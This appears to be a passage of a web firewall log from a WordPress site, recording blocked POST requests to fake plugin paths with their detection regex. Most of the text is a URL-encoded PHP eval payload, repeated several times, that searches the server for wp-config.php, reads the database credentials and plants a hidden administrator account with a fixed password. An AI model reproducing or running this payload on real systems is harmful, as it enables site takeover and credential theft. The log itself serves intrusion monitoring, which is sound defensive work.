4table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\ncontent-length:12663\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nhost:dewenlabels.com\nsec-fetch-site:none\nsec-fetch-user:?1\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\n\nybXJBY=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-18 23:39:20","213.209.159.254","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> aReDtp:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\ncontent-length:12663\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nhost:dewenlabels.com\nsec-fetch-site:none\nsec-fetch-user:?1\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\n\naReDtp=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%